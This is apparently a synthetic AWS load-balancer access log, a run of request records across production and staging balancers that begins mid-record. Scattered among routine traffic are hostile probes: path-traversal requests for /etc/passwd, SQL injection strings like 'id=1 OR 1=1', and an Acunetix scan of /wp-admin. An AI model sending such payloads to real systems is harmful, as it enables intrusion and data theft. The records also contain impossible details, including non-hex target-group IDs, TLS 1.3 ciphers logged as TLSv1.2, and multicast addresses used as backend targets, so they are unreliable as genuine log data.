ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1e5-fca7a0b92f3d49fdb0b1de7c" "prod-api-alb.example.com" "-" 5 2024-11-01T01:52:21.892786Z "forward" "-" "-" "10.0.197.13:443" "301" "-" "-" +https 2024-11-01T01:52:22.555477Z prod-api-alb 145.79.49.186:28227 10.0.3.30:443 0.074918 0.474242 0.067244 404 404 329 2343 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1e6-e25e142ac8494136a76cf43b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:52:22.555477Z "forward" "-" "-" "10.0.3.30:443" "404" "-" "-" +https 2024-11-01T01:52:22.764531Z prod-web-alb 140.181.77.146:64626 10.0.80.64:443 0.075318 0.252424 0.050087 200 200 559 9122 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1e6-02e8d3aa7d1f4a20ae15db78" "prod-web-alb.example.com" "-" 3 2024-11-01T01:52:22.764531Z "forward" "-" "-" "10.0.80.64:443" "200" "-" "-" +https 2024-11-01T01:52:24.227320Z prod-web-alb 159.53.40.98:14131 10.0.130.79:443 0.075888 0.206760 0.098239 302 302 896 9507 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1e8-d67c702c5856408da41d7eff" "prod-web-alb.example.com" "-" 3 2024-11-01T01:52:24.227320Z "forward" "-" "-" "10.0.130.79:443" "302" "-" "-" +https 2024-11-01T01:52:25.872144Z prod-web-alb 70.91.6.233:27710 10.0.140.162:443 0.047640 0.241419 0.031448 200 200 763 2656 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1e9-c10887b0ca8c48528f333900" "prod-web-alb.example.com" "-" 1 2024-11-01T01:52:25.872144Z "forward" "-" "-" "10.0.140.162:443" "200" "-" "-" +https 2024-11-01T01:52:26.031690Z staging-alb 92.162.114.147:52284 169.32.85.0:443 0.042853 0.115340 0.116399 302 302 719 12593 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1ea-b1d6aa6617954bcdb5a54198" "staging-alb.example.com" "-" 8 2024-11-01T01:52:26.031690Z "forward" "-" "-" "169.32.85.0:443" "302" "-" "-" +https 2024-11-01T01:52:27.368205Z prod-api-alb 176.253.88.191:18146 10.0.161.224:443 0.096336 0.442498 0.088533 200 200 229 3657 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1eb-a31a73c463b1470585ddf7d0" "prod-api-alb.example.com" "-" 6 2024-11-01T01:52:27.368205Z "forward" "-" "-" "10.0.161.224:443" "200" "-" "-" +http 2024-11-01T01:52:29.081776Z staging-alb 161.61.200.219:48777 78.227.48.221:80 0.042982 0.476133 0.006748 200 200 676 9094 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1ed-50fefc27bf6f4c198567891d" "staging-alb.example.com" "-" 10 2024-11-01T01:52:29.081776Z "forward" "-" "-" "78.227.48.221:80" "200" "-" "-" +https 2024-11-01T01:52:30.622316Z prod-api-alb 50.125.48.55:61246 10.0.90.10:443 0.008460 0.116751 0.027874 200 200 11 14911 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1ee-32109d4350a64c3ab14bd002" "prod-api-alb.example.com" "-" 8 2024-11-01T01:52:30.622316Z "forward" "-" "-" "10.0.90.10:443" "200" "-" "-" +https 2024-11-01T01:52:31.134531Z prod-api-alb 138.192.254.160:45012 10.0.4.107:443 0.013416 0.349763 0.027468 301 301 15 14048 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1ef-991fe5fe0c8a45a0a05128b3" "prod-api-alb.example.com" "-" 3 2024-11-01T01:52:31.134531Z "forward" "-" "-" "10.0.4.107:443" "301" "-" "-" +https 2024-11-01T01:52:32.495769Z staging-alb 133.189.61.228:47706 168.23.74.17:443 0.070545 0.060077 0.000488 200 200 974 9322 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1f0-3a5bf5730903406590c98dfc" "staging-alb.example.com" "-" 9 2024-11-01T01:52:32.495769Z "forward" "-" "-" "168.23.74.17:443" "200" "-" "-" +https 2024-11-01T01:52:33.811120Z staging-alb 69.169.197.112:33382 235.198.163.103:443 0.088180 0.172154 0.124485 302 302 393 3619 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1f1-ca41247f4b8142cc917d8ac3" "staging-alb.example.com" "-" 8 2024-11-01T01:52:33.811120Z "forward" "-" "-" "235.198.163.103:443" "302" "-" "-" +https 2024-11-01T01:52:35.670185Z prod-web-alb 233.243.177.164:28974 10.0.195.251:443 0.031917 0.341374 0.044851 301 301 885 11899 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1f3-aaa8829f3b924f439437ce67" "prod-web-alb.example.com" "-" 5 2024-11-01T01:52:35.670185Z "forward" "-" "-" "10.0.195.251:443" "301" "-" "-" +http 2024-11-01T01:52:36.374323Z staging-alb 99.115.34.101:12566 215.126.137.203:443 0.132652 0.387162 0.057020 302 302 280 14421 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1f4-a01cb5c81f6d41f48163ffb3" "staging-alb.example.com" "-" 8 2024-11-01T01:52:36.374323Z "forward" "-" "-" "215.126.137.203:443" "302" "-" "-" +http 2024-11-01T01:52:37.421902Z staging-alb 185.181.34.255:30444 126.248.24.35:80 0.111223 0.040945 0.091332 403 403 699 2922 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1f5-c906af61920545c8aeea81ad" "-" "-" 10 2024-11-01T01:52:37.421902Z "forward" "-" "-" "126.248.24.35:80" "403" "-" "-" +https 2024-11-01T01:52:38.341643Z staging-alb 31.254.7.157:26287 81.162.57.126:8080 0.012352 0.422294 0.127398 301 301 182 6832 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1f6-ee151ebe9b4248379814947e" "staging-alb.example.com" "-" 9 2024-11-01T01:52:38.341643Z "forward" "-" "-" "81.162.57.126:8080" "301" "-" "-" +https 2024-11-01T01:52:38.743898Z prod-api-alb 246.35.84.173:25295 10.0.69.108:443 0.033858 0.137171 0.012418 302 302 181 8744 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1f6-774969aac8ad4f44bdbf0a4e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:52:38.743898Z "forward" "-" "-" "10.0.69.108:443" "302" "-" "-" +https 2024-11-01T01:52:40.006488Z prod-api-alb 132.138.26.249:14890 10.0.50.203:443 0.066906 0.017518 0.005479 404 404 76 9766 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1f8-ef44a28fe17145fa889ce258" "prod-api-alb.example.com" "-" 8 2024-11-01T01:52:40.006488Z "forward" "-" "-" "10.0.50.203:443" "404" "-" "-" +https 2024-11-01T01:52:41.079951Z prod-api-alb 81.134.231.129:48755 10.0.166.63:443 0.000732 0.383290 0.065266 301 301 102 1088 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1f9-a339cca3c81d426d80bf72a6" "prod-api-alb.example.com" "-" 1 2024-11-01T01:52:41.079951Z "forward" "-" "-" "10.0.166.63:443" "301" "-" "-" +http 2024-11-01T01:52:42.325767Z staging-alb 89.216.95.160:46208 107.191.5.152:80 0.051357 0.197342 0.039083 302 302 424 6531 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1fa-d775e57d644043ecac699c04" "staging-alb.example.com" "-" 2 2024-11-01T01:52:42.325767Z "forward" "-" "-" "107.191.5.152:80" "302" "-" "-" +https 2024-11-01T01:52:43.422780Z prod-api-alb 7.173.24.115:35918 10.0.102.26:443 0.053245 0.004299 0.050270 200 200 144 14281 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1fb-fed0174f47a141c593f385ab" "prod-api-alb.example.com" "-" 5 2024-11-01T01:52:43.422780Z "forward" "-" "-" "10.0.102.26:443" "200" "-" "-" +https 2024-11-01T01:52:43.697245Z prod-api-alb 45.155.205.138:13554 10.0.108.205:443 0.094687 0.444424 0.001855 301 301 938 12418 "GET /wp-admin HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1fb-adab683453284205864843fc" "-" "-" 1 2024-11-01T01:52:43.697245Z "forward" "-" "-" "10.0.108.205:443" "301" "-" "-" +https 2024-11-01T01:52:45.191135Z prod-web-alb 103.16.138.225:12322 10.0.113.66:443 0.025736 0.230343 0.072528 301 301 232 2095 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1fd-b4fe07fd89844c7092ab43da" "prod-web-alb.example.com" "-" 2 2024-11-01T01:52:45.191135Z "forward" "-" "-" "10.0.113.66:443" "301" "-" "-" +https 2024-11-01T01:52:46.171011Z prod-web-alb 185.181.230.236:45394 10.0.138.192:443 0.062847 0.367599 0.008206 500 500 770 13504 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1fe-dbdd423793104a43add2f74c" "-" "-" 5 2024-11-01T01:52:46.171011Z "forward" "-" "-" "10.0.138.192:443" "500" "-" "-" +https 2024-11-01T01:52:46.353008Z prod-web-alb 151.88.62.103:46803 10.0.47.6:443 0.074835 0.394524 0.015426 200 200 647 1329 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1fe-a2685ee0f43a442795b9b01a" "prod-web-alb.example.com" "-" 7 2024-11-01T01:52:46.353008Z "forward" "-" "-" "10.0.47.6:443" "200" "-" "-" +https 2024-11-01T01:52:47.966560Z prod-api-alb 202.245.119.188:52583 10.0.176.72:443 0.071465 0.434634 0.080599 200 200 735 4303 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1ff-5fa4fd313d6348549db41cfd" "prod-api-alb.example.com" "-" 5 2024-11-01T01:52:47.966560Z "forward" "-" "-" "10.0.176.72:443" "200" "-" "-" +https 2024-11-01T01:52:49.313992Z prod-web-alb 82.78.209.198:46673 10.0.129.239:443 0.079433 0.389491 0.073183 200 200 490 2370 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d201-a109a392b5684d3fa726404a" "-" "-" 5 2024-11-01T01:52:49.313992Z "forward" "-" "-" "10.0.129.239:443" "200" "-" "-" +https 2024-11-01T01:52:50.338421Z prod-api-alb 57.110.106.18:61618 10.0.54.240:443 0.077932 0.339397 0.015394 404 404 75 4581 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d202-5f7518b1b5c844c9bef60718" "prod-api-alb.example.com" "-" 0 2024-11-01T01:52:50.338421Z "forward" "-" "-" "10.0.54.240:443" "404" "-" "-" +https 2024-11-01T01:52:52.095593Z prod-api-alb 176.83.60.120:59755 10.0.205.7:443 0.080545 0.260317 0.067693 200 200 487 343 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d204-516e01520d394629bacad534" "prod-api-alb.example.com" "-" 9 2024-11-01T01:52:52.095593Z "forward" "-" "-" "10.0.205.7:443" "200" "-" "-" +https 2024-11-01T01:52:52.947708Z staging-alb 209.247.146.8:36201 29.167.113.230:443 0.039964 0.373764 0.069987 301 301 789 7205 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d204-037ad6636bbe4ea0845c0126" "staging-alb.example.com" "-" 0 2024-11-01T01:52:52.947708Z "forward" "-" "-" "29.167.113.230:443" "301" "-" "-" +https 2024-11-01T01:52:54.377845Z prod-api-alb 241.244.7.20:64876 10.0.117.124:443 0.010725 0.323508 0.008319 404 404 103 6148 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d206-8f69535c57834807a535091c" "prod-api-alb.example.com" "-" 0 2024-11-01T01:52:54.377845Z "forward" "-" "-" "10.0.117.124:443" "404" "-" "-" +https 2024-11-01T01:52:55.495986Z prod-api-alb 131.47.207.9:18744 10.0.77.111:443 0.099969 0.114617 0.009384 200 200 154 6428 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d207-6d6bab8ef9cd4920bc02a3b6" "-" "-" 7 2024-11-01T01:52:55.495986Z "forward" "-" "-" "10.0.77.111:443" "200" "-" "-" +https 2024-11-01T01:52:56.581037Z prod-web-alb 179.143.7.39:23797 10.0.174.197:443 0.093182 0.004911 0.004960 200 200 722 10830 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d208-0df58ba492d4455ebbaa29f5" "prod-web-alb.example.com" "-" 5 2024-11-01T01:52:56.581037Z "forward" "-" "-" "10.0.174.197:443" "200" "-" "-" +https 2024-11-01T01:52:57.681984Z prod-web-alb 20.213.100.233:22827 10.0.82.226:443 0.012962 0.085898 0.048736 302 302 753 14352 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d209-d6d505eb99bf486a9451fde4" "prod-web-alb.example.com" "-" 7 2024-11-01T01:52:57.681984Z "forward" "-" "-" "10.0.82.226:443" "302" "-" "-" +https 2024-11-01T01:52:58.958008Z prod-web-alb 36.220.216.136:20917 10.0.52.94:443 0.092061 0.130387 0.061142 200 200 369 6539 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d20a-774069124d8c44869317e20d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:52:58.958008Z "forward" "-" "-" "10.0.52.94:443" "200" "-" "-" +https 2024-11-01T01:52:59.913446Z staging-alb 25.169.208.252:27355 54.107.102.30:8080 0.002132 0.698414 0.039927 200 200 83 7037 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d20b-fdd6be552d9d478bb7c64fa3" "staging-alb.example.com" "-" 4 2024-11-01T01:52:59.913446Z "forward" "-" "-" "54.107.102.30:8080" "200" "-" "-" +https 2024-11-01T01:53:00.180667Z prod-api-alb 199.131.165.52:52739 10.0.185.190:443 0.079068 0.297628 0.025147 200 200 204 3090 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d20c-9c1e912ed7a14b2c91032009" "prod-api-alb.example.com" "-" 8 2024-11-01T01:53:00.180667Z "forward" "-" "-" "10.0.185.190:443" "200" "-" "-" +https 2024-11-01T01:53:01.424587Z prod-api-alb 41.67.18.210:39926 10.0.34.190:443 0.057389 0.151469 0.073491 200 200 138 1564 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d20d-86a4b841456540a59c50eafb" "prod-api-alb.example.com" "-" 9 2024-11-01T01:53:01.424587Z "forward" "-" "-" "10.0.34.190:443" "200" "-" "-" +https 2024-11-01T01:53:02.039395Z staging-alb 193.27.228.24:13361 224.82.29.1:443 0.149317 0.520674 0.134839 403 403 406 207 "GET /../../../etc/passwd HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d20e-d43992e7e76b428ab6e9230b" "-" "-" 8 2024-11-01T01:53:02.039395Z "forward" "-" "-" "224.82.29.1:443" "403" "-" "-" +http 2024-11-01T01:53:02.725896Z staging-alb 79.34.112.143:59041 6.216.188.242:8080 0.122255 0.411071 0.145112 301 301 363 2533 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d20e-74a44a291de74b329406c308" "staging-alb.example.com" "-" 4 2024-11-01T01:53:02.725896Z "forward" "-" "-" "6.216.188.242:8080" "301" "-" "-" +https 2024-11-01T01:53:04.475822Z prod-web-alb 247.250.138.233:53500 10.0.191.231:443 0.077195 0.169281 0.071708 302 302 627 10041 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d210-e2e94ad7231a489391b531d5" "prod-web-alb.example.com" "-" 7 2024-11-01T01:53:04.475822Z "forward" "-" "-" "10.0.191.231:443" "302" "-" "-" +https 2024-11-01T01:53:05.825775Z staging-alb 185.181.178.132:23403 119.182.195.13:8080 0.120987 0.583917 0.112571 403 403 686 9360 "POST /users?id=1 OR 1=1 HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d211-318f7a1835b947ebb88c9222" "-" "-" 6 2024-11-01T01:53:05.825775Z "forward" "-" "-" "119.182.195.13:8080" "403" "-" "-" +https 2024-11-01T01:53:06.447242Z prod-api-alb 190.167.121.145:28857 10.0.185.98:443 0.090923 0.079281 0.058147 302 302 884 8397 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d212-a7efa064aaf140099812a151" "prod-api-alb.example.com" "-" 10 2024-11-01T01:53:06.447242Z "forward" "-" "-" "10.0.185.98:443" "302" "-" "-" +https 2024-11-01T01:53:08.233158Z prod-api-alb 67.243.161.218:63979 10.0.126.151:443 0.022837 0.026904 0.046633 404 404 181 4992 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d214-4204f6d9ac984befb2d87053" "prod-api-alb.example.com" "-" 7 2024-11-01T01:53:08.233158Z "forward" "-" "-" "10.0.126.151:443" "404" "-" "-" +https 2024-11-01T01:53:09.768587Z staging-alb 189.166.223.199:44565 11.213.63.86:80 0.090083 0.257920 0.050354 200 200 382 4947 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d215-0b32e5a23de34650a6a50b80" "staging-alb.example.com" "-" 0 2024-11-01T01:53:09.768587Z "forward" "-" "-" "11.213.63.86:80" "200" "-" "-" +https 2024-11-01T01:53:10.468756Z prod-web-alb 54.20.104.66:63395 10.0.255.33:443 0.098345 0.405364 0.018780 301 301 858 13133 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d216-cfcff1170db54916afbbd365" "prod-web-alb.example.com" "-" 0 2024-11-01T01:53:10.468756Z "forward" "-" "-" "10.0.255.33:443" "301" "-" "-" +https 2024-11-01T01:53:11.556045Z prod-web-alb 93.48.105.103:53516 10.0.222.70:443 0.096136 0.098759 0.059218 302 302 285 3866 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d217-e8289fcb17dd4551b44e5b1f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:53:11.556045Z "forward" "-" "-" "10.0.222.70:443" "302" "-" "-" +https 2024-11-01T01:53:11.679219Z prod-web-alb 239.229.52.218:43604 10.0.231.126:443 0.004363 0.400135 0.088977 200 200 441 7761 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d217-025fabb175ee4198a584e5c2" "prod-web-alb.example.com" "-" 7 2024-11-01T01:53:11.679219Z "forward" "-" "-" "10.0.231.126:443" "200" "-" "-" +http 2024-11-01T01:53:12.369854Z staging-alb 209.25.115.206:18059 213.106.173.215:8080 0.009928 0.488394 0.096850 200 200 494 11057 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 